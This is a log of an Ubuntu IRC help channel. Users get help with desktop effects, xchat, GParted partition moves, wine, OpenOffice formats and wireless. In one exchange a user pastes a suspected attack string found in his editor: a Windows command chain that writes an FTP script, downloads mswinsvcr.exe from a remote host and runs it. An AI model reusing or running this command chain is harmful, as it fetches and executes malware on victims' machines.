[09:00] <disty> Btw , i got one more question , i tried to use Beryl , but i got some kinda of bug , i cant see the edges of the windows , like the minimize/max/close , do u think its somthing to do with my video card?
[09:01] <sauvin> furenku, how did you install it?
[09:01] <david_> hi dear :D
[09:01] <ompaul> disty, ask in #ubuntu-effects
[09:01] <doggo> thanks a lot sauvin. Will continue googling
[09:01] <disty> ok sry
[09:01] <furenku> it was a .deb package
[09:01] <radioaktivstorm> hello what does it mean when i do ./configure to compile and i get: "Can't find X libraries. Please check your installation and add the correct paths!"
[09:01] <furenku> sauvin, it was a .deb package
[09:01] <sauvin> furenku, and you have to su to use it?
[09:02] <heartsblood> does ubuntu desktop enviroment advise against trying to compile your own kernel?
[09:02] <ompaul> radioaktivstorm, what are you trying to install (given there are some ~20k packages out there for ubuntu)
[09:02] <furenku> sauvin : first sudo -i
[09:02] <sauvin> radioaktivstorm, you may have to install some devel packages.
[09:02] <furenku> sauvin, then pd
[09:02] <ompaul> !root
[09:02] <Ubotu> Do not try to guess the root password, that is impossible. Instead, realise the truth.. there is no root password. Then you will see that it is sudo that grants you access and not the root password. Look at https://help.ubuntu.com/community/RootSudo
[09:02] <sauvin> why should a sound synthesis package be reserved to root!?
[09:03] <sauvin> furenku, where is pd installed?
[09:03] <radioaktivstorm> ompaul, adding a window border for kubuntu for
[09:03] <ompaul> radioaktivstorm, I would suggest you need to add the kde sources ;-) quite a lot of effort
[09:03] <ompaul> radioaktivstorm, there is a #kubuntu
[09:04] <furenku> sauvin, /usr/local
[09:04] <Poul|Raider> I just installed compizfusion, but dont seam to work properly. It loaded and i can run the manager but it just dont seam to change anything in the manager??
[09:05] <sauvin> furenku, do you know about unix permissions?
[09:05] <furenku> sauvin, a bit
[09:05] <radioaktivstorm> ompaul, thanks....kubuntu always seems like its more work than i care to give. i think ill just leave it and go back to my other desktop environments. :P
[09:06] <sauvin> furenku, i have a suspicion you may need to change either pd's permissions or its ownership. In a shell, navigate to the directory where pd resides and do an ls -l on it, see what it says.
[09:07] <sauvin> You should see something like -r-xr-xr-x along the left. If you don't, you may need to change it.
[09:08] <disty> no one in Effects chan :( , but ty guys for the help
[09:09] <sauvin> disty, you may have better luck in #ubuntu-effects if you try again during regular daytime hours (Boston).
[09:09] <Cope> hello... i've noticed that ssh connections seem to take several seconds longer from my ubuntu machine to other machines, compared to previous experiences with eg debian / redhat; it seems as if extra checking is taking place? rDNS or something?  Does anyone know if this is a specific ubuntu setting I can disable?  It's rather annoying.
[09:09] <sauvin> Most sane folks are asleep now.
[09:09] <disty> will do that (:
[09:10] <tico> hello everybody
[09:10] <zaidar> i just installed xchat and i can't see the userlist.  How do I show it?
[09:10] <fulat2k> sauvin: not if you're in another time zone dude
[09:10] <jonnymac> it is regular daytime hours for some of us
[09:10] <Cope> use  irssi, hth, hand
[09:10] <Cope> :P
[09:11] <draco> zaidar: Click on the number of users lower left corner
[09:11] <tonyyarusso> zaidar: it should be on the right-hand side...
[09:11] <sauvin> This is why I specified "(boston)".
[09:11] <tico> it's in the right side
[09:11] <Cope> zaidar: seriously, have you logged in? if so, maybe all your contacts aer just off line?
[09:11] <fulat2k> sauvin: heh... sorry, didn't see that :P
[09:11] <zaidar> nothing on the right side
[09:11] <zaidar> and nothing at lower left
[09:11] <tonyyarusso> zaidar: screenshot?
[09:11] <nanonyme> sauvin, what? it is? o.O
[09:11] <draco> Left side.....
[09:11] <zaidar> ok
[09:12] <Bogaurd> I have compiled a customer kernel with some nonstandard modules for my system - how can I make it so that apt-get upgrade won't upgrade the kernel itself?
[09:12] <tico> sorry guys do somebody knows why AMSN always use a lot of % of my CPU?
[09:12] <zaidar> ok i took screenshot
[09:12] <zaidar> who wants it?
[09:13] <jonnymac> I'm only two days  on ubuntu, I'm trying to undrestand all this talk
[09:13] <defrysk> tico, cos it sucks
[09:13] <jonnymac> how didja take a screen shot?
[09:13] <tico> defrysk thanks that is what i thouht
[09:13] <ompaul> !pinning | Bogaurd
[09:13] <Ubotu> Bogaurd: pinning is an advanced feature that APT can use to prefer particular packages over others. See https://help.ubuntu.com/community/PinningHowto
[09:14] <defrysk> tico, use gaim/pidgin
[09:14] <tico> no really the problem is only eith the new verison of AMSN 0.97
[09:14] <sauvin> jonnymac, part of the discussion here is unbuntu-specific; a lot of it is generic to linux. It's a BIG field. Welcome to the club; stick around, listen, try to understand what's being said and don't be afraid to ask when you don't.
[09:14] <ompaul> jonnymac, applications -> accessories -> take screenshot
[09:15] <dystopianray> is anyone using the 8.41 ati driver?
[09:15] <Jowi> Bogaurd, you have two options. remove the packages for the kernels you don't use. no package = no upgrade. second alternative, as ompaul suggested you can lock the version of a package = no upgrade of that package.
[09:15] <jonnymac> wow, im so easily pleased
[09:16] <ompaul> sauvin, how posix a personality :)
[09:16] <lobo_nz> Im running Feisty, I left my pc running today while I was at work with a text editor open when I returned this had been inserted in the text editor:  "delete eq&echo open 0.0.0.0 20711 >> eq&echo user 29853 31085" ... it looks like some kind of web attack but how did it get into my system and insert text into my editor?  .. going to look at my server logs now
[09:17] <furenku> sauvin, i solved it
[09:17] <ompaul> lobo_nz, looks like someone near you was teaching you how to use screen lock
[09:17] <sauvin> lobo_nz, do you have this text editor running in a box under X?
[09:17] <furenku> it was an issue of renaming a file
[09:17] <furenku> sorry
[09:17] <jonnymac> thanks sauvin, I'm just pleased I got as far as here
[09:17] <Bogaurd> Jowi - cheers. I'll look up locking a package :)
[09:17] <sauvin> furenku, what file did you need to rename?
[09:18] <dystopianray> lobo_nz: sounds like somebody usedy our text editor while you were gone
[09:18] <lobo_nz> sauvin: yes its jedit a java based text editor runs in X
[09:18] <threefcata> can someone help me about tomcat?
[09:18] <lobo_nz> my house was locked while at work
[09:18] <Bogaurd> Jowi: if I was to remove them though, it's not going to remove my customer kernel too, is it?
[09:18] <furenku> sauvin, it was called .pdsettings, i needed to rename it so the program wouldnt find it
[09:18] <dystopianray> lobo_nz: is that line something you have highlighted and you've mistakenly middle clicked in jedit?
[09:19] <tico> which one is the best virtual machine?  virtual machine or vmware????????
[09:19] <sauvin> lobo_nz, you don't think you might have boobed a couple of keys on the keyboard and triggered a multiline paste?
[09:19] <WindsofTime> **I am currently trying to resize my ntfs partition... I have 3.42 GiB of space to use, but when I unmount the ntfs partition, and say Resize.. it doesn't show the extra unaffiliated space.  Someone help?** (Im running on Ubuntu Live CD)
[09:19] <xOjka> hello
[09:19] <tico> hi
[09:19] <lobo_nz> dystopianray: no I never seen it before, I saved the code I was working on before I left for work an the buffer was dirty when I got home
[09:19] <lobo_nz> very creepy
[09:20] <dystopianray> lobo_nz: i'd say it's very unlikely somebody remotely accessed your machine and inserted text into jedit
[09:20] <furenku> how can i erase my windows partition (finally made it)
[09:20] <dystopianray> tico: vmware is great
[09:20] <zaidar> here is my screenshot
[09:20] <sauvin> furenku, I didn't bother erasing mine. I just clobbered it.
[09:21] <furenku> sauvin, clobbered?
[09:21] <zaidar> http://muslimspace.com/zaidar03/gallery/45481
[09:21] <WindsofTime> *yawns*
[09:21] <tico> WindsofTime: hey before everything do u must defrangment win partition
[09:21] <Jowi> Bogaurd, the easy way: open synaptic. select the package you want to lock. in the menu "Package -> Lock Version". you're done. to answer your second question, yes, removing a package removes it contents. but if you use a custom kernel that one will not dissappear if you remove the package for a specific kernel version. But, I always keep at least one standard kernel installed just-in-case I need to boot it.
[09:21] <zaidar> no userlist
[09:21] <xOjka> I still have a xp partition:) for gaming
[09:21] <WindsofTime> tico: what for?
[09:21] <tico> dystopiamra: thanks dude
[09:21] <Jowi> Bogaurd, bbl, my one-year-old is having some issues :)
[09:21] <xOjka> awww'
[09:21] <lobo_nz> dystopianray: I would say that to, but my wife swears she hasnt been in there and she wouldnt have a clue what to type - I'll let you know if I find something weird in the logs
[09:22] <jonnymac> sauvin: yeah the thing is I'm fresh from windows so all this 'integrated online help/chatroom is not only a novelty but just about short of miraculous
[09:22] <WindsofTime> **didn't know 1yr olds even had issues o.o**
[09:22] <sauvin> furenku, yes, I simply umounted it and did an mkfs on it.
[09:22] <zaidar> tonyyarusso, http://muslimspace.com/zaidar03/gallery/45481
[09:22] <tico> WindsofTime: cos u need move all the information in your hard drive to one side ... to use the free space
[09:22] <Textbook> is there any way to track / fix what might be causing random automatic logoffs?  I suspect it is either XGL or Compiz, but I'm not sure
[09:22] <sauvin> jonnymac, ah, yes, the Windows folks don't have what unix folks have, channels like this one.
[09:22] <furenku> sauvin, the thing theres a bunch of gigabytes i kept there i now want for linux
[09:23] <dystopianray> Textbook: is it an actual logoff or just the X server dieing?
[09:23] <tonyyarusso> zaidar: anything under View?
[09:23] <Textbook> hmm.. good question
[09:23] <Textbook> it just goes back to the logon screen
[09:23] <Textbook> so I don't really know
[09:23] <sauvin> furenku, you might want to move all that stuff temporarily to another drive while you clobber. I'm not aware of any way to convert an ntfs volume to ext3 without losing everything.
[09:23] <dystopianray> Textbook: your X server has probably crashed and died
[09:23] <Textbook> thanks dystopianray
[09:23] <dystopianray> Textbook: try not using compiz/beryl and see if it still occurs
[09:23] <WindsofTime> tico: The partition I am resizing to make larger is my Windows partition.. I have a Fat32 partition of 25gigs, I took a chunk off of it for my 10gig Windows partition.  How do I get it where the chunk can be inserted into the 10Gig windows partition?... Unmounting the NTFS partition and trying to resize it doesn't work.. Unless it doesn't recognize the free space..
[09:23] <Textbook> will do
[09:23] <furenku> sauvin, i wouldnt bother losing everything, theres nothing there, actually
[09:23] <tico> dystopianray: what version of vmware? maybe vmware server or any other.... what do u tink i have ubuntu dapper
[09:24] <furenku> sauvin, i installed ubuntu when the computer was new
[09:24] <dystopianray> tico: what do you want to use it for?
[09:25] <zaidar> tonyyarusso, Menubar is checked; topicbar is checked; Userlist Buttons is unchecked (but when i check it i don't see any buttons); Mode buttons is unchecked; Then there's layout and network meters submenus in there.  That's it)
[09:25] <lobo_nz> dystopianray: it looks like some sort of php spyware attack the line in my editor contains "echo get mswinsvcr.exe >> eq &echo quit >> eq &ftp -n -s:eq &mswinsvcr.exe" it is very disturbing - I am leaving a text editor open tomorrow see if it happens again
[09:25] <dystopianray> lobo_nz: what services do you have exposed to the internet?
[09:25] <tico> Windsoftime: restar go to windows open my_pc then right botton properties and then find defragmentation after do that come back with the live cd and make your partition for te new OS system
[09:26] <WindsofTime> tico.. you dont understand I am not making a partition to install a new OS
[09:26] <tico> windsoftime: right botton on your hard drive ******************
[09:26] <tonyyarusso> zaidar: try clicking around on the right side of the window and see if there's anything hidden that opens up.
[09:27] <tico> windsoftime: sorry !  for that
[09:27] <kikon> aaaa
[09:27] <zaidar> tonyyarusso, there is a drag area there -- i have a userlist now.  Thanks for resolving this issue.  Did you see it in the screenshot?
[09:27] <lobo_nz> dystopianray: apache2, ftp and ssh I have a dynamic ip it looks like url encoding but I only have 4 lines in the access log for today, all posts so could have been one of those using a bug in php somehow
[09:28] <tico> dystopianray: I want to open my wind. partition using a virtual machine in ubuntu
[09:28] <WindsofTime> I am just merely resizing my NTFS partition to give it a bit more room being I am running out.. I have 2 partitions.  1 NTFS of 10Gigs for Windows files. and The rest of the harddrive as a Fat32 partition.  I "took a chunk out of" the Fat32 parition giving me 3Gigs of freespace to use.  I unmounted the NTFS so I could resize it.  But when I go to resize it, it doesn't recognize the unformated space.
[09:28] <dystopianray> tico: i'm not sure if that's actually possible, windows is very fragile when it comes to changing hardware
[09:29] <dystopianray> tico: vmware is also considered a new machine as far as activation/registration/etc.. are concerned
[09:29] <tonyyarusso> zaidar: Yeah - the five tiny dots on the border was the giveaway
[09:29] <zaidar> tonyyarusso, thanks again
[09:29] <tonyyarusso> zaidar: np :)
[09:29] <tico> dystopianray: yes in fact i saw a post about some guy how install virtual machine and his wind. partiton just crash!
[09:29] <kujo> hi everyone
[09:29] <zaidar> tonyyarusso, now i will always look for the dots before i ask for help ;)
[09:30] <WindsofTime> *yawns*
[09:31] <tico> dystopianray? i am scare cos of that.
[09:31] <dystopianray> tico: duplicate your windows partition and try booting that
[09:31] <WindsofTime> tico: is what I asked above (the largest paragraph of text) possible?
[09:31] <hammedhaaret> hi.   how do i open a program so its fullscreen... without the menulines?
[09:31] <dystopianray> tico: or at least backup the partition
[09:32] <MrBaz> help
[09:32] <WindsofTime> ask the question not just say "help" :P
[09:32] <predaeus> hammedhaaret, that usually depends on the application, often the f11 key would go fullscreen, check the View options of the application. What program is it?
[09:32] <dystopianray> WindsofTime: you want to increase the size of the ntfs partition? Is the new space right next to the ntfs partition?
[09:32] <WindsofTime> dystopianray, no
[09:32] <MrBaz> allchan
[09:33] <tico> dystopianray: if i just install vmware u think i will have problems with my win partition?
[09:33] <dystopianray> tico: probably
[09:33] <MrBaz> doubt it
[09:33] <rathel> Is it possible to turn of sound on a certain app? There is no option for sound in preferences.
[09:33] <dystopianray> WindsofTime: a partition cannot be fragmented it must be one block of hdd space
[09:34] <WindsofTime> So I am not allowed to take some space from my Fat32 partition and juggle it over to the NTFS?
[09:34] <tonyyarusso> WindsofTime: not unless you're using LVM
[09:34] <dystopianray> WindsofTime: you can, but it must be directly after the ntfs partition
[09:34] <WindsofTime> LVM stand for
[09:34] <predaeus> rathel, some programs can be run with a no sound option. see "man programname" to see if there is an option for that specific program.
[09:34] <WindsofTime> dystopianray
[09:34] <WindsofTime> this is the order of the partitions
[09:34] <tonyyarusso> WindsofTime: Logical volume manager.
[09:35] <tonyyarusso> WindsofTime: Although, you can usually resize things when unmounted, for instance with the GParted live cd
[09:35] <tico> windsoftime: dude for resizing i think u will have te defragment cos is the same thing if u have chance to try i think it's a good idea
[09:35] <WindsofTime> NTFS(WindowsFIles)Fat32(OtherStuff)Unknown(FreeSpace)
[09:35] <dystopianray> WindsofTime:not doable
[09:35] <WindsofTime> :(
[09:35] <rathel> predaeus, Well --help says, --disable-sound but it isn't working.
[09:35] <dystopianray> WindsofTime: it must be (ntfs)(freespace)(fat32)
[09:35] <dystopianray> WindsofTime: you need to move the fat32 partition into the free space
[09:36] <remi____> hi all. I have the choice between 2 wifi minipci card : cisco wifi card and an ipw2200, wich one would you choose ?
[09:36] <predaeus> rathel, did you try to run it in a terminal/console?
[09:36] <tonyyarusso> dystopianray: can't you move fat32 partitions?
[09:36] <Access> Hello all, I just connected my USB hard disk, and I dont have permissions to change any of the files. Right click propertieis just tells me im not the owner... :S  How do I tell my computer I own my hard disk?
[09:36] <dystopianray> tonyyarusso: yes you can
[09:36] <rathel> predaeus, Yup.
[09:36] <predaeus> rathel, never mind, sorry *g*
[09:36] <tonyyarusso> dystopianray: so you could move it, then change the size of the ntfs?
[09:36] <dystopianray> remi____: definetly ipw2200
[09:36] <WindsofTime> dystopianray: what do you mean move it into the 3Gig space?
[09:36] <tico> dystopianray: i will double check it.....  thanks for your time!!!!!!
[09:36] <dystopianray> WindsofTime: yes
[09:36] <remi____> dystopianray, any reasons why this choice ?
[09:36] <predaeus> rathel, the --help option implied that :-D. Hm, then I don't know sorry.
[09:36] <WindsofTime> how is this possible?
[09:36] <dystopianray> WindsofTime: you must move the fat32 partition to provide room for the ntfs parittion to grow
[09:37] <WindsofTime> *how do I do it >.>*
[09:37] <dystopianray> remi____: intel wireless is the best supported wireless on linux
[09:37] <dystopianray> remi____: anything else is crap in comparison
[09:37] <rathel> predaeus, Okay.
[09:37] <WindsofTime> Just switch the space from (LeftOver) to (Preceding)
[09:37] <WindsofTime> ?
[09:37] <WindsofTime> *Cant spell >.>
[09:37] <remi____> dystopianray, ok, Seems that both works, but for example the cisco doesn't give me the iwlist scanning. I have to be shure of my choice because, i could not come back.
[09:37] <Access> So, any takers? USB hard disk, permission say im no the owner, how do I change it?
[09:38] <predaeus> rathel, what application is it, maybe there is a specific irc channel where you can ask.
[09:38] <dystopianray> WindsofTime: move the fat32 partition so that there is room for the ntfs partition to grow
[09:38] <dystopianray> remi____: ipw2200
[09:38] <WindsofTime> Will I lose Information from the Fat32?
[09:38] <remi____> :)
[09:38] <dystopianray> WindsofTime: no, you're only moving it
[09:38] <WindsofTime> well um
[09:38] <rathel> predaeus, lol it's gweled.
[09:38] <WindsofTime> This is what I am about to do
[09:38] <hammedhaaret> predaeus: uhm   its AC3D... and f11 only opens a duplicator function
[09:38] <WindsofTime> tell me if this is legal or advisable
[09:39] <dystopianray> WindsofTime: gparted can move a partition
[09:39] <pontus> Hi everyone... I've got a problem with evolution... It won't import my .vcf address book...
[09:39] <bullgard4> Why is /sys/class/hwmon empty?
[09:39] <WindsofTime> Resize Fat32 to give it the 3Gig, then going to resize once more this time (on the lil bar with arrows) move the Left side to the right rather than the Right side to the left) will that in a sense "move the partition"? But will I lose any info if so?
[09:39] <pontus> I select the file, but the file type list and the forward buttons are greyed
[09:40] <dystopianray> WindsofTime: just move the current partition to the right
[09:40] <dystopianray> WindsofTime: I don't think you can resize from the start of the partition, it's not trivial anyway
[09:40] <WindsofTime> ok.. Im more of a graphical person
[09:40] <dystopianray> WindsofTime: so use gparted
[09:40] <WindsofTime> I am
[09:40] <WindsofTime> <.<
[09:40] <dystopianray> WindsofTime: I haven't said anything that involves the terminal
[09:41] <WindsofTime> The bar I speak of is the one that pops up when you press the "Resize/Move" button
[09:41] <hammedhaaret> hi.   how do i open a program so its fullscreen... without the menulines?   its AC3D... and f11 only opens a duplicator function
[09:41] <WindsofTime> its the one on the top of the lil window... the Arrows are the ones that you can slide to resize the partion
[09:41] <WindsofTime> you with me so far?
[09:41] <dystopianray> WindsofTime: I don't know where the exact buttons are or what they are called, but it should be obvious
[09:41] <jonnymac> does anyone know the best way to find a job in London?
[09:41] <WindsofTime> fine.. I just hope I wont lose info :(
[09:42] <dystopianray> jonnymac: that is offtopic
[09:42] <rexkwando> My openoffice no longer has any internal button icons... ???
[09:42] <dystopianray> WindsofTime: make a backup
[09:42] <jonnymac> *Since every other question gets answered with so much ease here
[09:42] <jonnymac> :p
[09:42] <rexkwando> it's all just text buttons
[09:42] <WindsofTime> I have no room for that >.>
[09:42] <WindsofTime> If I do.. o well
[09:43] <dystopianray> WindsofTime: you have 3GB of space to move the fat32 partition into
[09:43] <dystopianray> WindsofTime: which will make 3GB of free space after the ntfs partition
[09:43] <WindsofTime> thats what it shows..yes
[09:43] <phanto1> problem with package that broke while updating. How to fix?
[09:44] <WindsofTime> Sorry if I get annoying.. Im a bit tired and under pressure... lots of work to be done in 3 hrs and then presented.
[09:45] <WindsofTime> I will be going now.. I will let you know the results when it finishes.. but thanks :)
[09:45] <WindsofTime> oh, nvm
[09:46] <phanto1> how do I fix broken package?
[09:46] <phanto1> help please
[09:46] <rexkwando> how do I get the button icons back in openoffice?
[09:46] <WindsofTime> ask the question with as much detail as possible, rather than "help"
[09:47] <Dark_Rain> morning
[09:47] <phanto1> problem with package that broke while updating. How to fix?
[09:48] <predaeus> rathel, if it is a game that comes with gnome then probably the people in #gnome might know.
[09:48] <hammedhaaret>  hi.   how do i open a program so its fullscreen... without the menulines?   its AC3D... and f11 only opens a duplicator function
[09:49] <zaidar> phanto1, is it sudo apt-get install -f   ?
[09:49] <dystopianray> hammedhaaret: can you fullscreen via an option in the right click menu of the title bar?
[09:49] <jonnymac> are there any word processor apps that are compatible with Microsoft Office Suite?
[09:49] <rathel> predaeus, It's a gnome game but it's separate, but they still might be able to help me out, thanks. :)
[09:50] <dystopianray> jonnymac: what sort of compatible?
[09:50] <rexkwando> how do I get the button icons back in openoffice?  They have become just text icons, and I didn't change ANYTHING...
[09:50] <hammedhaaret> dystopianray...  i can press it.  but it doesn't get rid of the two menubars... it's not real fullscreen
[09:50] <linuxchix0r> Open Office is pretty compatible
[09:50] <jonnymac> I need a processor with rulers that I can indent paragraphs &c that will be opened the same by people who don't have Ubuntu but have Windows instead
[09:51] <jonnymac> I would do google docs but they have no rulers
[09:51] <linuxchix0r> open office writer has that
[09:51] <dystopianray> jonnymac: openoffice.org has them
[09:51] <leen> list
[09:51] <linuxchix0r> but use a windows font if they will open it in windows
[09:51] <dystopianray> export to pdf if they don't need to edit the document
[09:51] <jonnymac> the last time I used open office it wouldn't open with word when i sent it to my tutor...
[09:52] <jonnymac> dystopian
[09:52] <jonnymac> you are beautiful
[09:52] <linuxchix0r> did you save it in word format?
[09:52] <dystopianray> jonnymac: if you need msoffice, then use msoffice
[09:52] <jonnymac> it has that function? feeling a bit sheepish now
[09:52] <dystopianray> jonnymac: the default file format of OO.org is not microsoft word format
[09:52] <linuxchix0r> it will save into .doc format if you need that
[09:52] <jonnymac> can you use msoffice in ubuntu?
[09:52] <dystopianray> jonnymac: yes, with crossover or possibly wine
[09:52] <dystopianray> jonnymac: or run it in a vm
[09:53] <jonnymac> I'm 2 days old on this thing
[09:53] <nanonyme> jonnymac, which version of msoffice?
[09:53] <jonnymac> vm...wine...crossover.. I can guess
[09:53] <jonnymac> 2007
[09:53] <nanonyme> you'll have trouble with wine probably then
[09:53] <nanonyme> it's too new
[09:53] <scipio> jonnymac, just use open office but when you save make sure you chose ms office 97 compatible or something to that effect
[09:54] <jonnymac> thank'ee all kindly
[09:54] <dystopianray> jonnymac: you must specifically save documents in microsoft word format, OO.org's default fileformat is the OpenDocument format
[09:54] <[nrx] > Hi folks. I'm having issues with wireless networking. When I installed Ubuntu yesterday here at work, the wireless worked straight off (had to add the wep key etc). I went home and tried at home, changed the ssid and wepkey etc and it wouldn't work. Now I'm back in the office, it's not working at all again. Also, everything's taking an age to open (applications)
[09:54] <jonnymac> I only just downloaded 2007 a coupla days ago
[09:54] <[nrx] > and the networking control panel wont load at all. Any ideas?
[09:54] <Irreducibilis> Is it possible for Wine to be updated in the future, so newer things "will" work?
[09:55] <co_15> RANSS
[09:55] <co_15> HAI
[09:55] <dystopianray> Irreducibilis: wine has new releases every couple of weeks
[09:55] <co_15> HA
[09:55] <nanonyme> jonnymac, seems office 2007 requires .net 2.0. it would make it non-workable in wine
[09:55] <ompaul> co_15, ? please speak english
[09:55] <nanonyme> jonnymac, or at least very very likely to fail
[09:56] <jonnymac> I don't recommed 2007 anyway
[09:56] <Irreducibilis> I think that a dual boot solves everything, or maybe even a triple boot. Such as an apple Macpro with bootcamp and then a 3rd part for linux, so you would have Windows/Mac/Linux. Its the best of both worlds.
[09:56] <amidaniel> Hey all .. having a slight problem with printing. I have a new usb printer, and if I plug it in and then boot my comp it works fine. If I boot my comp and *then* plug it in, jobs sent to it linger for a second or two, disappear, and nothing is printed
[09:56] <amidaniel> Any ideas?
[09:56] <Irreducibilis> I have Office 2007, and its way more...difficult to use than the older versions.
[09:56] <jonnymac> yep, that's my impression
[09:56] <Irreducibilis> Rather, best of all worlds
[09:56] <Irreducibilis> They completely redid the interface, so now I am all confused.
[09:56] <Irreducibilis> I have to relearn everything
[09:56] <jonnymac> yep, same here
[09:56] <dystopianray> jonnymac: OO.org does not yet support office 2007's native file format
[09:57] <Irreducibilis> docx
[09:57] <Irreducibilis> They cant just use normal .doc
[09:57] <dystopianray> jonnymac: so you'll need people to save into a standard word document for you to view them
[09:57] <nanonyme> the best of all worlds would be a cpu that does virtualization so you can run all three at the same time
[09:57] <dystopianray> Irreducibilis: office 2007 can't save to a standard word document?
[09:57] <boontoo> hello, i cant get my sound to work
[09:57] <jonnymac> yeah it can
[09:57] <boontoo> =(
[09:57] <phanto1> zaidar:   With sudo apt-get install -f Iget this    http://paste.ubuntu-nl.org/37291/    compiz fuzion plugins extra     compiz fuzion plugins main  are apearing in updatemanager, and in Synaptik markt with red . tried to update but i get this http://paste.ubuntu-nl.org/37292/   compleate remove and reinstall arent helping.
[09:57] <Irreducibilis> dystopianray: It can, its called saving in compatability mode
[09:57] <Irreducibilis> "Save as a 97-2003 document"
[09:58] <boontoo> im getting a LOT of errors =(
[09:58] <ompaul> !alsa | boontoo
[09:58] <Ubotu> boontoo: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[09:58] <[nrx] > Hi folks. I'm having issues with wireless networking. When I installed Ubuntu yesterday here at work, the wireless worked straight off (had to add the wep key etc). I went home and tried at home, changed the ssid and wepkey etc and it wouldn't work. Now I'm back in the office, it's not working at all again. Can anyone help at all?
[09:58] <jonnymac> I sent my cv out to all these companies and then tried to print it on someone elses computer and they had an older version of Word, I panicked, tore out my hair &c
[09:58] <boontoo> eg when i try to start packagmanager i get this error "unable to copy the users Xauthorisation file"
[09:58] <boontoo> =(
[09:58] <jonnymac> sent all the cv's out again
[09:58] <Irreducibilis> Can I install Ubuntu to a 2GB flash drive and then somehow have it open in Qemu?
[09:58] <Irreducibilis> Just plug it in anywhere and run?
[09:58] <leladia> i have this command at the prompt "set prompt = $cwd%" but i want a space to appear btw % and the blinking cursor. what do i do?
[09:59] <ompaul> jonnymac, we have #ubuntu-offtopic for non support chatter ;-)
[09:59] <giRL> HIIIIII
[09:59] <boontoo> is there like a system restore for ubuntu ? lol
[09:59] <jonnymac> sorry ompaul
[09:59] <dew> irred.... I've heard that you can do that.
[09:59] <dystopianray> Irreducibilis: you want qemu on the drive so you can boot the ubuntu within any other OS?
[09:59] <Irreducibilis> Yep.
[09:59] <Irreducibilis> I already have it with DSL
[09:59] <boontoo> anyone?
[10:00] <Irreducibilis> But I want to do it with Ubuntu now
[10:00] <jonnymac> I'm just observing, trying to learn the lingo
[10:00] <[nrx] > boontoo, no :)
[10:00] <ompaul> boontoo, there is not ...
[10:00] <dystopianray> boontoo: what exactly do you want to do?
[10:00] <[nrx] > someone help me with my wireless problem.... arrgggh  :(
[10:00] <zaidar> phanto1, open a terminal type aptitude -- when it loads press F10 and look for fix broken packages.. then press  g
[10:00] <locke> bash: /usr/local/bin/wine: No such file or directory
[10:00] <locke>  i just did sudo apt-get remove wine, then sudo apt-get install wine
[10:00] <locke> it installed
[10:00] <locke> but no runny
[10:00] <boontoo> dystopianray: unable to copy the users xauthorisation file < when i try to open synaptics package managment
[10:00] <leladia> nrx: what is ur problem?
[10:01] <[nrx] > Hi folks. I'm having issues with wireless networking. When I installed Ubuntu yesterday here at work, the wireless worked straight off (had to add the wep key etc). I went home and tried at home, changed the ssid and wepkey etc and it wouldn't work. Now I'm back in the office, it's not working at all again. Can anyone help at all?
[10:01] <leladia> maybe i can help...
[10:01] <codi> locke : do a locate wine
[10:01] <[nrx] > :)
[10:01] <leladia> pm privately...
[10:01] <dystopianray> locke it's not in /usr/local/
[10:01] <[nrx] > ooo er ;p
[10:01] <nanonyme> just run it without full path?
[10:01] <dystopianray> [nrx] : what wireless chip does your card have?
[10:01] <locke> i had previously installed wine 0.9.24 in /home/locke/wine/wine0924
[10:01] <Irreducibilis> Speaking of, I am not very famillier with the ubuntu interface, because I mostly just play with it.... but what is with "sudo apt get"
[10:01] <locke> but i did a make uninstall on that
[10:01] <Irreducibilis> I have no idea what all this mean
[10:01] <[nrx] > dystopianray, I'm not sure, it's builtin
[10:01] <[nrx] > lemme check
[10:01] <locke> and then did apt-get remove wine for 0.9.44
[10:02] <Enselic> Irreducibilis: it's a command line command
[10:02] <dystopianray> Irreducibilis: apt-get is the package management software
[10:02] <Irreducibilis> Or something like a huge string of random commands and stuff like -n -s- -p
[10:02] <locke> then i did apt-get install wine to install 0.9.44 to reinstall it
[10:02] <nanonyme> Irreducibilis, apt-get is a command line interface to apt
[10:02] <locke> previously i had a segfault on every run of both versions
[10:02] <Irreducibilis> Is it required to use all this command lingo to use ubuntu?
[10:02] <ari_stress> [nrx] : are you using gnome? we need to enter the keyring first
[10:02] <nanonyme> Irreducibilis, apt being the package management system
[10:02] <Enselic> Irreducibilis: no
[10:02] <dystopianray> Irreducibilis: no
[10:02] <level1> hi, I'm using raid 5 on my computer and i'm worried that one of my disks might have failed or some such... theres a program called md2_raid that is using quite a bit of my cpu
[10:02] <[nrx] > ari_stress, yes gnome
[10:02] <Irreducibilis> Okay :)
[10:02] <Enselic> dystopianray: Program -> Add remove programs
[10:02] <Irreducibilis> I will just try to put it on my flash drive then
[10:02] <Enselic> dystopianray: or System -> Preferences -> Synaptic Package Manager
[10:02] <[nrx] > it was working fine yesterday, but when I went home, I couldn't get it onto the home network.. now I'm back at work, I'm having the same problem
[10:03] <ompaul> locke, sudo apt-get remove --purge wine << that takes out the config files or complains so you can take them out by hand
[10:03] <dystopianray> Irreducibilis: it's much easier for people to simply copy and paste a terminal command, than to sit here for 30 minutes explaining the location of various gui buttons
[10:03] <Enselic> @ Irreducibilis
[10:03] <ari_stress> [nrx] : usually when i had problem connecting to the wireless, i reboot
[10:03] <[nrx] > it also wont let me open up the networking properties
[10:03] <dystopianray> Enselic: why are you telling me this?
[10:03] <[nrx] > ari_stress, that doesn't work :(
[10:03] <gary4gar> i screwed my system, removed grub & it does not boot at all
[10:03] <Enselic> dystopianray: wrong nick, sorry
[10:03] <locke> ompaul, cool that is good advice doing it now
[10:03] <[nrx] > it's now not even detecting a signal
[10:03] <gary4gar> did that while following: http://ubuntuforums.org/showthread.php?t=208855
[10:03] <dew> irred.... try pendrivelinux.com.... I remember they had guides for several different distros
[10:03] <locke> Package wine is not installed, so not removed
[10:03] <Enselic> dew: you can use Tab completion on IRC
[10:04] <Enselic> dew: try Irr<TAB> to get Irreducibilis
[10:04] <ari_stress> [nrx] : how did you change the wifi setting at home? by administration > network or by network manager?
[10:04] <dew> Enselic, .... well dang, I didn't realize that.
[10:04] <[nrx] > ari_stress:  administration > network.
[10:04] <leladia> someone help me... pls
[10:04] <locke> when i install i get Install these packages without verification [y/N] ? y,  Unpacking wine (from .../wine_0.9.44~winehq0~ubuntu~7.04-1_i386.deb) ..., Setting up wine (0.9.44~winehq0~ubuntu~7.04-1) ...
[10:04] <Arcad3z> hi i've installed ipmasq and and still no internet on the client PC
